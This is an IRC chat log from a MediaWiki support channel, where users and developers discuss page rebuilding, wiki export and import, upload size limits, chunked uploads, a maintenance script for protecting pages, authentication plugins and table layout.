[14:06:10] <wikibugs>	03(mod) Different 'talk' tabs for different namespaces - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18550  +comment (10happy-melon)
[14:06:38] <ash_>	hi
[14:07:07] <ash_>	is there a way to force mediawiki to rebuild/reparse all pages? (like edit->save without modifications)
[14:07:17] <ash_>	rebuildall doesnt do it it seems
[14:07:30] <colonelqubit>	We use a mediawiki instance to store information about our systems, RAID configs, installation instructions, etc. We have database backups, but those would be a pain to dig up and use in the event of system meltdown. Is there a simple way to do a full-text dump of an instance into a file or directory that I can then rsync to my laptop every week or so?
[14:07:34] <werdna>	14:05 < Duesentrieb> Simetrical: that firefox bug has my full supprot though. never mind the yelling, but it has annoyed me at least a thousand times that there'S no way to do that without saving the  file :)
[14:07:36] <RoanKattouw>	ash_: rebuildall *should* do that
[14:07:38] <werdna>	There's a simple extension
[14:07:53] <RoanKattouw>	(or wait, maybe it just rebuilds link tables)
[14:08:07] <RoanKattouw>	!backup | colonelqubit 
[14:08:07] --mwbot--	colonelqubit: http://www.mediawiki.org/wiki/Manual:Backing_up_a_wiki
[14:09:05] <ash_>	RoanKattouw: I have a hook on links parsing and it doesnt seem to update it, while opening the page for edit and saving does change the linkl
[14:09:36] <colonelqubit>	RoanKattouw: so I want an XML dump of the pages?
[14:09:49] <RoanKattouw>	ash_: You could try making a dummy change in LocalSettings.php, that should invalidate the parser cache IIRC
[14:10:05] <ash_>	RoanKattouw: any change or something specific?
[14:10:09] <RoanKattouw>	colonelqubit: I think you still want an SQL dump
[14:10:14] <RoanKattouw>	ash_: Just something
[14:10:18] <colonelqubit>	RoanKattouw: okay, I'll take a look
[14:11:52] <ash_>	RoanKattouw: i changed the proxy key, i guess touching the file should work as well - trying now on the second wiki
[14:12:17] <RoanKattouw>	Yeah touching works but I didn't wanna have to answer the potential "What's touching?" question ;)
[14:13:03] <wikibugs>	06(LATER) Remove "hiderevision" permission from the Oversight group - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18511  +comment (10happy-melon)
[14:13:15] <ash_>	maybe i unzip first :D
[14:13:25] <wikibugs>	04(REOPENED) Page won't print - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18551  +comment (10nobler)
[14:13:48] <ash_>	RoanKattouw: works fine, thanks a lot
[14:13:52] *ash_ 	hugs RoanKattouw
[14:15:05] <RoanKattouw>	lol: "This page will not print with commonly used software.  I have FF2 (latest ver), IE6, Win XP Pro SP2.  That should be good enough."
[14:15:21] <RoanKattouw>	FF2 and IE6 ...
[14:18:07] <wikibugs>	06(LATER) please move namespace - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18501  +comment (10happy-melon)
[14:31:09] <FunnyMan3595>	I see that there's a way to create, edit, and delete pages from the maintenance scripts, but is there a way to protect/unprotect pages?
[14:31:28] <RoanKattouw>	FunnyMan3595: Some method in the Title class
[14:31:31] <RoanKattouw>	!class Title | FunnyMan3595 
[14:31:31] --mwbot--	FunnyMan3595: See http://svn.wikimedia.org/doc/classTitle.html
[14:33:24] <FunnyMan3595>	RoanKattouw:  Doesn't look like it.  There's title protection, and read-only stuff for semi/protection.
[14:33:27] <wikibugs>	03(mod) Page won't print - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18551  (10happy-melon)
[14:33:57] <RoanKattouw>	Oh of course, protections are in Article
[14:34:01] <RoanKattouw>	!class Article | FunnyMan3595 
[14:34:01] --mwbot--	FunnyMan3595: See http://svn.wikimedia.org/doc/classArticle.html
[14:38:01] <AlexCollins>	How do I force my Special:RecentChanges to display coloured watchlist numbers? My Common.css has the required code.
[14:38:17] <CIA-15>	03tstarling * r49775 10/trunk/phase3/includes/specials/SpecialUpload.php: Fixed XSS.
[14:40:41] <redirete>	hi all
[14:40:48] <redirete>	somebody is listening?
[14:41:02] <RoanKattouw>	AlexCollins: Purged cache yet?
[14:41:18] <Prodego>	redirete: yes, people are listening, but it may take a while to answer questions
[14:41:23] <Prodego>	the sooner you ask...
[14:42:22] <AlexCollins>	RoanKattouw: Yes, I've purged the cache. Still won't display.
[14:42:48] <redirete>	it seems that my problem is solving itself
[14:43:02] <redirete>	maybe variables has to update
[14:43:31] <eidolon>	hi folks, i'm looking for suggestions on how to move wiki pages from one mediawiki nistallation to another.  we have the 'big' wiki that has about 3000 pages in it, and the 'small' wiki that has a few hundred.  we need to move certain sections from the 'small' to the 'big one' - with an eye to phasing out the small wiki.
[14:43:39] <eidolon>	is there an easy way to do this without cutting and pasting wikitext?
[14:44:14] <RoanKattouw>	!export | eidolon 
[14:44:14] --mwbot--	eidolon: To export pages from a wiki, navigate to Special:Export on the wiki, type in the names of the pages to export, and hit "export". See <http://en.wikipedia.org/wiki/Special:Export> for an example of this form. See also: !import
[14:44:33] <eidolon>	oooooooooo
[14:44:35] *eidolon 	clix
[14:45:01] <wikibugs>	03(mod) Hungarian Wikisource Proofreadpage extension namespace request - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18557  (10rhalsell)
[14:45:03] <eidolon>	ahhhhh.  so you can use a category to group what pages to export.
[14:45:05] <eidolon>	that's awesome.
[14:47:08] <eidolon>	!import
[14:47:08] --mwbot--	To import pages a few pages, use Special:Import - you can also import pages directly from another wiki (see !importsources). For mass imports, use importDump.php - see <http://www.mediawiki.org/wiki/Manual:Importing_XML_dumps> for details. NOTE: when using content from another wiki, follow the LICENSE TERMS, especially, attribute source and authors!
[14:47:15] <redirete>	I'm on a free hosting 3rd level domain, I want to make a dinamic sitemap for google but the integrated "generatesitemap.php" need a shell, there is a way that about every week the site self generates a sitemap.xml update to feed  googlebot?
[14:47:28] *eidolon 	goes to msgs
[14:47:45] <proppy>	Hi, where is the documentation for the mediawiki API available from extensions ?
[14:47:58] <RoanKattouw>	proppy: api.php
[14:48:42] <FunnyMan3595>	RoanKattouw: protect() on its own doesn't seem to work.  Do I need to save the change somehow?
[14:49:10] <proppy>	RoanKattouw: it describes how to call the api using http request, but I was searching for the documentation function callable throught extensions php code
[14:49:15] <redirete>	uhm, my english sucks, sorry for that
[14:49:29] <RoanKattouw>	proppy: Ah, see the manual at MediaWiki.org
[14:49:31] <RoanKattouw>	!api | proppy 
[14:49:31] --mwbot--	proppy: The MediaWiki API provides direct, high-level access to the data contained in the MediaWiki databases. Client programs should be able to use the API to login, get data, and post changes. Find out more at <http://www.mediawiki.org/wiki/API>. For client libraries in various languages, see <http://www.mediawiki.org/wiki/API:Client_Code>.
[14:50:19] <proppy>	found it thanks http://www.mediawiki.org/wiki/API:Calling_internally
[14:50:22] <proppy>	RoanKattouw: 
[14:52:08] <eidolon>	okay, i don't understand how wgImportSources works - does anyone have an example?  the text is "List of interwiki prefixes for wikis we'll accept as sources for the Special:Import (for sysops)" - I have access to Special:Import - but it's just 'browse / upload file' - how do i configure the sources?
[14:52:20] <RoanKattouw>	eidolon: You don't need to
[14:52:36] <FunnyMan3595>	RoanKattouw: I just copied edit.php for the general form, so in theory, all of the preliminaries should be handled right.  But the call to protect() doesn't seem to do anything.
[14:52:51] <RoanKattouw>	That's for importing directly from another wiki without download+upload (AKA transwiki)
[14:53:07] <RoanKattouw>	FunnyMan3595: Do you use a different entry point?
[14:53:16] <RoanKattouw>	You might have to do $dbw->commit() in that case
[14:53:19] <eidolon>	right, i want to do a transwiki import
[14:53:23] <eidolon>	the 2 wikis are on the same network
[14:53:29] <eidolon>	if i can just 'suck in' the remote wiki pages, that'll be fine
[14:53:36] <eidolon>	otherwise i'll use export / import
[14:54:10] <FunnyMan3595>	RoanKattouw: Doesn't look like $dbw is defined...
[14:54:21] <RoanKattouw>	$dbw = wfGetDb(DB_MASTER);
[14:55:39] <FunnyMan3595>	Hmm, no luck.  Lemme pastebin this.
[14:55:46] *eidolon 	nudges RoanKattouw
[14:56:34] <RoanKattouw>	eidolon: You can set up transwiki if you want, or just export/import stuff. Transwiki is only really useful when you want certain people to be allowed to transwiki but not import from other sources
[14:56:48] <eidolon>	hmm.  okay.  i'll use transwiki then.
[14:56:49] <eidolon>	er
[14:56:52] <eidolon>	i'll use export/import
[14:57:05] <eidolon>	i need to put in a "Moved" hook at hte old location. i 'll dig up how to do that.
[14:57:22] <FunnyMan3595>	RoanKattouw: http://pastebin.com/mb263b4d
[14:58:12] <RoanKattouw>	FunnyMan3595: protect() just displays the protection form
[14:58:15] <RoanKattouw>	You need a different method
[14:58:44] <FunnyMan3595>	That would do it.
[14:58:46] <FunnyMan3595>	Hmm...
[14:59:42] <eidolon>	can a #redirect go off-site?
[14:59:50] <eidolon>	or does it have to be a [[WikiLink]] ?
[14:59:54] <Simetrical>	!wg EnableScaryRedirects
[14:59:54] --mwbot--	http://www.mediawiki.org/wiki/Manual:%24wgEnableScaryRedirects
[14:59:55] <redirete>	preg_match() [function.preg-match]: Compilation failed: invalid UTF-8 string at offset 7 in /home/streamwi/public_html/includes/Linker.php on line 1550
[15:00:20] <redirete>	all the "è" now are "?" DAMN!
[15:00:22] <eidolon>	heh.  that link is dead. :)
[15:00:25] <Simetrical>	No, wait, wrong.
[15:00:29] <Simetrical>	I was confusing it with something else.
[15:00:44] <Simetrical>	http://www.mediawiki.org/wiki/Manual:$wgDisableHardRedirects
[15:00:52] <RoanKattouw>	redirete: Which MW version is that?
[15:01:12] <eidolon>	okay, so it has to be explicitely disabled..
[15:01:27] <redirete>	2mediawiki-1.14.0
[15:01:29] <eidolon>	DefaultSettings has it as 'false' so they should work. okay
[15:01:33] <RoanKattouw>	hmm
[15:01:33] <werdna>	$wgDisableEnablingOfScaryEdititis
[15:02:10] <redirete>	2I tried this tutorial http://www.mediawiki.org/wiki/Extension:Google_Sitemap
[15:02:45] <redirete>	2after I noticed that the version was wrong, so I rolledback all modifications
[15:02:55] <eidolon>	yegods.  werdna!
[15:02:59] *eidolon 	flashes back to college.
[15:03:06] <redirete>	2now I get that error on all unviewed pages
[15:03:17] <flyingparchment>	please stop talking in blue text
[15:03:25] <werdna>	yes I can't read it
[15:04:17] <AlexCollins>	RoanKattouw: Since a purge of the cache has not helped, is there anything else I can try to display the colored watchlist numbers?
[15:04:18] <FunnyMan3595>	Aha, updateRestrictions looks like the function I need...
[15:04:37] <RoanKattouw>	AlexCollins: I don't know, I don't have a clue how that works
[15:04:58] *AlexCollins 	nods. "Okay. Well, thank you for the assistance in any case."
[15:05:11] <Duduman>	At commons it seems that a special upload limit exemption for specified users would be useful 
[15:05:11] <wikibugs>	03(NEW) robots.txt exclusions for sv.wiki - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18565 enhancement; Normal; Wikimedia: General/Unknown; (davidohlin)
[15:05:17] <Duduman>	Can this be done?
[15:05:30] <Duduman>	That some users upload over the 100mb limit?
[15:05:39] <^demon>	No, it's not possible.
[15:05:50] <Mike_lifeguard>	Why not?
[15:06:05] <FunnyMan3595>	AlexCollins: You might try a touch on LocalSettings.php.  That will purge all the MW caches, so that if you missed an important but non-obvious one, it will update.
[15:06:05] <^demon>	Because upload limits are independent of user rights :)
[15:06:45] <wikibugs>	03(mod) robots.txt exclusions for sv.wiki - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18565  +comment (10mikelifeguard)
[15:06:57] <Mike_lifeguard>	But that doesn't have to be the case, does it?
[15:07:19] <Duduman>	There are many video files split into parts because of this
[15:08:09] <^demon>	Well, then the whole limit needs upping then :) Per-group limits on uploads aren't possible right now.
[15:08:18] <Duduman>	Requesting a big upload would improve user experience 
[15:08:58] <^demon>	Mike_lifeguard: Of course not. Find someone to implement it.
[15:09:16] <Duduman>	Should we file a bug?
[15:09:29] <Mike_lifeguard>	And if you just jacked up the limit to 1GB, would it work?
[15:09:55] <Mike_lifeguard>	I suppose there might be a question of whether the servers can handle it, but assuming that can be dealt with...
[15:10:22] <Duduman>	Wether 1GB or 100mb * 10 it's the same
[15:10:58] <Mike_lifeguard>	not really
[15:11:33] <Duduman>	I mean it's the same server wise 
[15:11:42] <Duduman>	for users it's horrible
[15:11:47] <Duduman>	something like http://commons.wikimedia.org/wiki/File:Chaplain_Behind_the_Screen_pt1.ogg
[15:11:51] <Duduman>	has 8 parts
[15:12:36] <^demon>	Ok, assuming it's approx. 800mb, you probably couldn't upload it.
[15:12:48] <^demon>	Between HTTP timeouts and post limits, you'd hit walls somewhere.
[15:12:56] <AlexCollins>	FunnyMan3595: Didn't work. It's like quarter past one in the morning here; I
[15:13:05] <AlexCollins>	'm gonna work on it again in the morning.
[15:13:08] <wikibugs>	03(mod) arbcom-audit-en mailing list - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18510  +comment (10jayvdb)
[15:13:31] <Mike_lifeguard>	Is there any way to do resumable uploads by http? That'd be better than just jacking up the limit
[15:13:42] <Mike_lifeguard>	IIRC, there was a bug about that somewhere...
[15:13:51] <Duduman>	^demon: people can do this on the archive.org why not on commons?
[15:14:04] <AlexCollins>	And really I have more interesting problems (like my tables) than the recentchanges page... heh.
[15:14:33] <^demon>	Duduman: I'm talking about limits of HTTP here, nothing commons-specific. It's not easy to upload big files over HTTP
[15:14:47] <^demon>	Mike_lifeguard: Yeah, there is a bug somewhere about it. That and uploads over FTP.
[15:15:05] <Mike_lifeguard>	Duduman: archive.org uses FTP
[15:15:08] <Mike_lifeguard>	which is really nice
[15:15:19] <Duduman>	what's the big difference? 
[15:15:35] <Duduman>	no timeouts in FTP?
[15:15:57] <Mike_lifeguard>	I forget who chastised me about suggesting that FTP would be nice for uploads ("normal users can't figure out FTP!")
[15:16:10] <Mike_lifeguard>	well, that's a load of bull - I did
[15:17:04] <FunnyMan3595>	Couple quick questions.  What are the values of mRestrictions['edit']?  I see 'protect' for full protection.  And what's the correct expiry for indefinite protection?
[15:17:09] <^demon>	Duduman: Yes FTP can timeout. However, it doesn't have filesize limits like HTTP POST and it can be kept alive so it doesn't time out.
[15:18:39] <Duduman>	And why have we been using HTTP for the last few years?
[15:20:03] <Duduman>	I mean it times out for a1GB file but not a 100MB file?
[15:20:19] <^demon>	Because implementing uploading over FTP for an HTTP-based web application isn't easy and requires infrastructure changes outside of Mediawiki itself :)
[15:20:40] <Nikerabbit>	uh
[15:20:52] <CIA-15>	03kim * r49776 10/trunk/wikiation/installer/tests/ (7 files in 4 dirs): 
[15:20:52] <CIA-15>	Put some baseline external tests into the installer directory.
[15:20:52] <CIA-15>	Next step: integrate with installer (and we should probably
[15:20:52] <CIA-15>	rename installer to Grand High Wiki Installation And Testing
[15:20:52] <CIA-15>	Environment... or some such)
[15:20:56] <Nikerabbit>	or just simply because browsers suck in ftp even more that in http?
[15:21:06] <^demon>	Nikerabbit: That too ;-)
[15:21:13] <wikibugs>	03(mod) Add link to filtered Abuse filter log on Special:Contributions - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18423  +comment (10stwalkerster)
[15:22:03] <werdna>	stwalkerster: Ok there's one issue I didn't spot before, but I'll fix it myself.
[15:22:16] <werdna>	$sk->link accepts the link text as HTML, not as plain text
[15:22:38] <werdna>	so you need wfMsgExt( 'abusefilter-log-linkoncontribs', 'parseinline' )
[15:23:16] <^demon>	werdna: array( 'parseinline' )? Or does it work as a single string?
[15:23:19] <Duduman>	What would the increase of size to 1GB complicate?
[15:23:29] <Nikerabbit>	^demon: yes it does
[15:23:35] <werdna>	^demon: works just as a string
[15:23:42] <^demon>	Nikerabbit/werdna: Never knew :)
[15:23:56] <RoanKattouw>	FunnyMan3595: Block::infinity()
[15:24:17] *werdna 	gets rickrolled by "shuffle"
[15:24:35] <^demon>	RoanKattouw: Btw, I've been a bit busy with end-of-semester crap @ school, hopefully will get to the redirect patch soon :-\
[15:24:42] <RoanKattouw>	Sure
[15:25:00] <FunnyMan3595>	!class Block
[15:25:00] --mwbot--	See http://svn.wikimedia.org/doc/classBlock.html
[15:25:05] <RoanKattouw>	For me the new semester is just beginning next Monday
[15:25:22] <werdna>	For me the new semester is next february ;)
[15:25:52] <^demon>	My classes more or less end today. Everything else is exam review && exams
[15:28:47] <Duduman>	If at commons we decide an increase of the limit to 1GB would this be applied?
[15:29:47] <Nikerabbit>	the limit?
[15:29:57] <Duduman>	Upload limit
[15:30:19] <Nikerabbit>	isn't that up to the system admins to decide
[15:30:36] <Duduman>	that's my question
[15:30:39] <^demon>	I wouldn't imagine it being upped again, so soon after it was raised to 100mb.
[15:30:57] <^demon>	(But again, that's a sysadmin question, not one for me or a lot of people here to decide)
[15:31:04] <Duesentrieb>	Duduman: iirc php has the silly idea of caching uploaded files in *RAM* before writing them to disk.
[15:31:19] <RoanKattouw>	Since mdale is working on the chunked upload thing
[15:31:29] <Duesentrieb>	which is the main reason for the upload limit: big files would jimply bog down the machine, it would be a very simple door to DoS
[15:31:48] <mdale>	Duesentrieb: yea the new upload branch supports 1 meg chunks at a time
[15:32:01] <RoanKattouw>	Since mdale is working on the chunked upload thing, I don't think the limit will be raised. Chunked upload should work around such a limit
[15:32:07] <Duduman>	aah ok so FTP goes directly to hard disk and http goes to ram ?
[15:32:14] <werdna>	no
[15:32:15] <Mike_lifeguard>	Oh, that /is/ being worked on?
[15:32:17] <werdna>	hey aZaFred 
[15:32:26] <werdna>	Mike_lifeguard: mdale is poking it :)
[15:32:29] <mdale>	Its "working"
[15:32:34] *werdna 	sends fuzzy feelings at mdale 
[15:32:34] <mdale>	but does not have much error checking
[15:33:03] <^demon>	And upload by http uses a curl write callback, so we can cut out early if someone tries to upload-by-http a 300k MB file :D
[15:33:13] <Duduman>	Hey mdale did u see my comments on http://www.mediawiki.org/wiki/Extension_talk:Add_Media_Wizard ? about the box layout?
[15:33:26] <Mike_lifeguard>	Why wouldn't vanilla uploads have that built-in anyways?
[15:33:49] <mdale>	Duduman: yea I was thinking of increasing the size a bit.. or letting it be part of the user controlled settings. 
[15:34:04] <Duduman>	mdale: there are settings?
[15:34:49] *aZaFred 	waves
[15:35:06] <Duduman>	mdale: BTW the import doesn't work on test.wikipedia with add media wizard
[15:35:08] <mdale>	not yet ;)
[15:35:28] <mdale>	Duduman: yea its a problem of curl timing out in 30 seconds
[15:35:31] <^demon>	mdale: Btw, I've been meaning to work that callback mechanism into Http::request() anyway, so we don't have to hardcode curl stuff into the upload code.
[15:35:47] <mdale>	^demon: oky...
[15:36:19] <mdale>	but we have to spin out the http request as a separate process... so we need a maintenance entrance point
[15:37:24] <Duduman>	To conclude: When uploading files they go to ram. Uploading a 100mb goes all to ram then to hard disk. Doin a 1GB file would fill up the ram.
[15:37:47] <werdna>	http://trac.webkit.org/changeset/42483 <-- WebKit keep good track of their code changes
[15:37:58] <proppy>	Hi, is there a way to disable aplimit when calling the api from an extensions ?
[15:38:01] <werdna>	Duduman: how do you know that?
[15:38:13] <RoanKattouw>	proppy: No
[15:38:16] <werdna>	ew, calling the API from an extension
[15:38:32] <RoanKattouw>	No ew about that
[15:38:34] <Duduman>	werdna:that's what I understood from the whole explanation 
[15:38:41] <RoanKattouw>	It's usually easier than calling the core code directly
[15:38:42] <proppy>	RoanKattouw: should I query directly the db to get rid about this limitation ?
[15:38:53] <^demon>	werdna: I don't like trac :-\
[15:38:54] <RoanKattouw>	Yes
[15:39:03] <RoanKattouw>	If you're very very sure that's what you want, as it could blow up large wikis
[15:39:07] <proppy>	RoanKattouw: what is the upper bound of aplimit ?
[15:39:24] <RoanKattouw>	proppy: 5000
[15:39:24] <RoanKattouw>	(or just set it to 'max')
[15:39:33] <proppy>	string 'max' 
[15:39:34] <proppy>	?
[15:39:56] <RoanKattouw>	Yes
[15:40:01] <proppy>	RoanKattouw: thanks a lot :)
[15:40:29] <FunnyMan3595>	This one should be easy: Where do I find wfDebug messages?
[15:41:09] <^demon>	FunnyMan3595: If you've enabled $wgDebugComments, you can find them in an HTML comment at the bottom of every page output :)
[15:41:36] <werdna>	!debuglog
[15:41:36] --mwbot--	I don't know anything about "debuglog". You might try: !errors 
[15:41:40] <werdna>	!errors
[15:41:40] --mwbot--	To see PHP errors, add this to the very top of LocalSettings.php: error_reporting(E_ALL); ini_set("display_errors", 1);  Fatal PHP errors usually go to Apache's error log - also check the error_log setting in php.ini (or use phpinfo). For more details in wiki error reports, set $wgShowExceptionDetails = true; $wgShowSQLErrors = true; For full debug output, set $wgDebugLogFile to some path you like.
[15:41:46] <mdale>	^demon: do you want to cross commit your http:request fixes to the new-upload branch ? 
[15:41:51] <werdna>	!wg DebugLogFile | FunnyMan3595 
[15:41:51] --mwbot--	FunnyMan3595: http://www.mediawiki.org/wiki/Manual:%24wgDebugLogFile
[15:41:57] <FunnyMan3595>	werdna: Thanks much.
[15:42:27] <mdale>	^demon: because I was going to dive into api-ajax http progress result serving today (to try and push it all into the upload api at once) 
[15:42:36] <^demon>	mdale: Once I actually do the work on it. I said "I've been meaning to..." ;-)
[15:42:42] <mdale>	ah ;)
[15:42:52] <werdna>	see mdale gets to do this for his job :)
[15:43:33] <mdale>	:P
[15:44:19] <mdale>	oky... I will take a look at integrating the curl progress updates into HTTP::request  class 
[15:45:15] <^demon>	My main point with that was that with the curl stuff hard-coded into the upload code, it makes it impossible to use upload-by-url for setups w/o curl.
[15:45:34] <^demon>	Granted, the file_get_contents() fallback in http::request() blows, but that's another issue :)
[15:45:52] <mdale>	right... gives us more flexibility to have fallbacks in the future
[15:47:03] <Ep1c>	hey,
[15:47:06] <^demon>	That, and I've yet to figure out how to do a callback with file_get_contents, so that might have to be a no-op.
[15:47:13] <Ep1c>	I wanna make a 3-cell table
[15:47:18] <Ep1c>	with 2 rows
[15:47:22] <Ep1c>	the layout is
[15:47:28] <Ep1c>	[          ]     [             ]
[15:47:31] <Ep1c>	       [            ]
[15:47:50] <werdna>	colspan
[15:48:29] <Ep1c>	and width?
[15:48:48] <hashar>	rowspan ?
[15:48:58] <Ep1c>	no no
[15:49:09] <Ep1c>	I want the bottom cell to be exactly the size as the other two
[15:49:18] <Ep1c>	and that it would be in the middle
[15:49:22] <Ep1c>	like the layout
[15:49:23] <werdna>	so you can do that
[15:49:35] <werdna>	four columns
[15:49:41] <Ep1c>	oh
[15:49:43] <Ep1c>	I get it
[15:49:59] <Ep1c>	I'll try, but it's kinda tricky
[15:50:09] <Ep1c>	cause I or someone else might add other boxes in the future
[15:51:33] <Ep1c>	and, what's the codes for no section edit and no ToC?
[15:51:40] <Ep1c>	I remember smth with #
[15:51:51] <werdna>	just __NOTOC__
[15:51:54] <werdna>	__NOSECTIONEDIT__
[15:51:56] <Ep1c>	oh
[15:51:59] <Ep1c>	right, thanks :)
[15:52:01] <werdna>	we call them magic words
[15:52:06] <Ep1c>	yeah
[15:52:14] *^demon 	makes werdna a magic word
[15:52:32] *werdna 	points a wand at ^demon, shouts 'werdna', makes him disappear
[15:53:06] <Ep1c>	__NOSECTIONEDIT__ writes as plain text
[15:53:14] <Ep1c>	writes __NOSECTIONEDIT__ at the page
[15:53:26] <werdna>	noeditsection maybe
[15:54:02] <Ep1c>	yeah works
[15:55:21] <mdale>	^demon: hmm ... appears CURLOPT_PROGRESSFUNCTION is not supported 
[15:56:26] <^demon>	mdale: :-\ I was looking more at CURLOPT_WRITEFUNCTION
[15:56:32] <mdale>	yea saw that...
[15:56:40] <mdale>	will have to use that instead ..
[15:56:52] <FunnyMan3595>	Okay, dropping Block::infinity() into the expiry array for updateRestrictions doesn't seem to work.
[15:57:16] <^demon>	mdale: Works great for curl. Not sure how to make a working fallback for file_get_contents() or fread() though.
[15:57:43] <FunnyMan3595>	I get a lot of preg_match errors from wfTimestamp in GlobalFunctions, and the protection log lists the expiration as the epoch.
[15:57:57] <mdale>	doing something fread should be possible 
[15:58:12] <werdna>	FunnyMan3595: I think I wrote updateRestrictions ;)
[15:58:30] <FunnyMan3595>	werdna: Hang on a sec, lemme pastebin my code for you.
[15:59:31] <FunnyMan3595>	werdna: http://pastebin.com/mc32b9e7
[16:00:47] <werdna>	For non-expiring protection you just don't specify an expiry
[16:01:00] <FunnyMan3595>	So array()?
[16:01:01] <mdale>	^demon: how do you set the $post vars seems to be missing from the argument list
[16:01:03] <werdna>	or else specify 'infinite'
[16:01:11] <wdw>	I have (what I would think) is a simple need - we already have a central list of users/passwords, and we want to allow logging in (only) if you're already on this list. I see how to restrict users, and how to prevent account creation, but no 'authenticator manager' or whatever. Am I missing something obvious?
[16:01:55] <werdna>	wdw: you can create an account as an administrator regardless of whether you can anonymously
[16:02:00] <werdna>	I think that's what you're after.
[16:02:44] <wdw>	hmm, nope I really would need mediawiki to query 'our' user/pass database, as its several thousand users long, and changes
[16:02:58] <wdw>	i'm sure i can just monkey with the source though, I was just being lazy
[16:02:58] <werdna>	oh I see what you mean
[16:02:58] <gf3>	wdw: but I don't like MediaWiki
[16:03:02] <^demon>	mdale: No way right now.
[16:03:02] <werdna>	!authplugin | wdw 
[16:03:02] --mwbot--	wdw: http://www.mediawiki.org/wiki/AuthPlugin
[16:03:08] <wdw>	ah ha
[16:03:14] <hashar>	wdw: "just" write an authentication plugin ;)
[16:03:26] <werdna>	hey brion :)
[16:03:36] <werdna>	uh oh, brion's on
[16:03:44] <werdna>	that means it's pretty damn close to bedtime
[16:03:45] <^demon>	Quick, hide the broken code.
[16:03:57] <wdw>	thats exactly what I need - didn't consider it would be an ext, but this is perfect - thanks guys!
[16:04:11] <FunnyMan3595>	werdna: Passing array() as the final parameter doesn't seem to work.  Same result as before.
[16:04:17] <mdale>	is there a reason we are not using something like: http://pear.php.net/package/HTTP_Request2
[16:04:28] <brion>	what up
[16:04:37] <werdna>	the dow.
[16:04:45] <^demon>	werdna: Not for the last 6 months.
[16:04:50] <^demon>	;-)
[16:04:57] <brion>	pear packages are always a love-hate kind of thing :)
[16:05:00] <^demon>	mdale: Because we have our own http class :)
[16:05:05] <brion>	we can't rely on it being installed separately
[16:05:12] <brion>	so if we use any we end up having to bundle everything
[16:05:20] <brion>	plus sometimes they're kind of scary ;)
[16:05:20] <mdale>	but its like 150 lines ? 
[16:05:25] <mdale>	yea... true... 
[16:05:32] <brion>	assuming it doesn't have 50 deps yeah :D
[16:05:34] <hashar>	it would be easier to move to perl & cpan
[16:05:51] <brion>	haha
[16:06:13] <brion>	it may make sense to make more active use of some pear bits though, save the effort of maintaining things separately
[16:06:14] <FunnyMan3595>	werdna: Aha, got it.  Dropping the argument completely worked.
[16:06:27] <brion>	that tends to mean we have to push patches upstream though -- fixes and extensions :P
[16:08:03] <^demon>	fwiw, Http_Request2 has a dependency on Net_URL2.
[16:08:17] <FunnyMan3595>	Okay, maintenance/protect.php is working.  Anybody want to take a look for possible inclusion?
[16:08:38] <werdna>	FunnyMan3595: do you have commit access?
[16:08:44] <FunnyMan3595>	No.
[16:08:50] <^demon>	What does it do?
[16:09:04] *atglenn 	votes for the perl rewrite
[16:09:06] <FunnyMan3595>	Maintenance script for protecting/unprotecting pages, analogous to edit.php.
[16:09:54] <^demon>	atglenn: I'll help once Perl 6 is in wide use ;-)
[16:10:22] <atglenn>	I wonder how perl 6 is about utf8 in the script
[16:10:59] <^demon>	Dunno.
[16:12:29] <FunnyMan3595>	werdna: Where MediaWiki is concerned, I'm just a user.  One who happens to be a decent coder, but still just a user.  I needed the script, so I wrote it.  Seems to me like other people might need it too, so I'm offering it to you guys.
[16:12:49] <hashar>	$ perl -e 'print length "éé","\n";'
[16:12:50] <hashar>	4
[16:13:16] <werdna>	FunnyMan3595: feel free to submit it to bugzilla or something and I'll commit it
[16:13:41] <FunnyMan3595>	werdna: Will do.
[16:23:46] <wikibugs>	03(NEW) Maintenance script to un/protect pages. - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18566 enhancement; Normal; MediaWiki: Maintenance scripts; (funnyman3595)
[16:23:58] <FunnyMan3595>	werdna: There it is.
[16:24:05] <werdna>	yay
[16:24:40] <werdna>	I'll do it tomorrow
[16:24:42] <werdna>	it's 2:30am :)
[16:24:43] <wikibugs>	03(ASSIGNED) Maintenance script to un/protect pages. - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18566  +comment (10agarrett)
[16:25:34] <FunnyMan3595>	I'll keep an eye on it.  Feel free to prod for additional information if needed.
[16:27:50] <wikibugs>	03(mod) Merge preferences-work branch with trunk - 10https://bugzilla.wikimedia.org/show_bug.cgi?id=18410  (10agarrett)
[16:28:01] <FunnyMan3595>	Okay, now I just have to write the *other* end of this application.  *wanders off to do that*
[16:32:42] <siebrand>	werdna: you're gone, right?
[16:32:43] <Duduman>	What do I have to study to be one of you?
[16:32:56] <siebrand>	Duduman: nerdiness 101.
[16:33:12] <werdna>	siebrand: I'm here kind of
[16:33:17] <werdna>	about to go to bed
[16:33:35] <siebrand>	werdna: you wrote "merging to trunk tomorrow". What's the certainty for that...
[16:33:49] <werdna>	siebrand: almost certainly
[16:33:53] <Duduman>	Are u professionals or did u read some books and became programmers and scripters?
[16:33:54] <werdna>	unless I'm *really* inefficient
[16:34:11] <siebrand>	werdna: ok, I may anticipate to that then by making the translations available in twn already.
[16:34:19] <siebrand>	werdna: sleep well.
[16:34:24] <werdna>	siebrand: yay
[16:37:23] <^demon>	Duduman: Depends on who you ask. Some of us are students in college, some are paid professionals.
[16:38:13] <Duduman>	I mean are u related to computer science ? Or are some just learning for fun?
[16:39:22] <^demon>	Duduman: I'm a CS major, but I originally learned how to program just for fun. Like I said, it all depends on who you're asking in the room. We all come from pretty different backgrounds.
[16:40:14] <Duduman>	^demon I wanna be a CS major but every book I read turns me down and doesn't show me how to create even a simple gui
[16:41:03] <Duduman>	All teach loops, input, output and variables
[16:41:37] <^demon>	Which are things you need to learn before you think about guis :)
[16:43:07] <Duduman>	Well I can't get past that somehow. I learned this in c++, python and perl
[16:43:26] <Duduman>	c++ posed many, many problems
[16:44:02] <HRailsKillMe>	I learned through books and got no degree
[16:44:16] <HRailsKillMe>	learning ruby + rails right now <:)
[16:44:33] <Duduman>	Could u recommend any book?
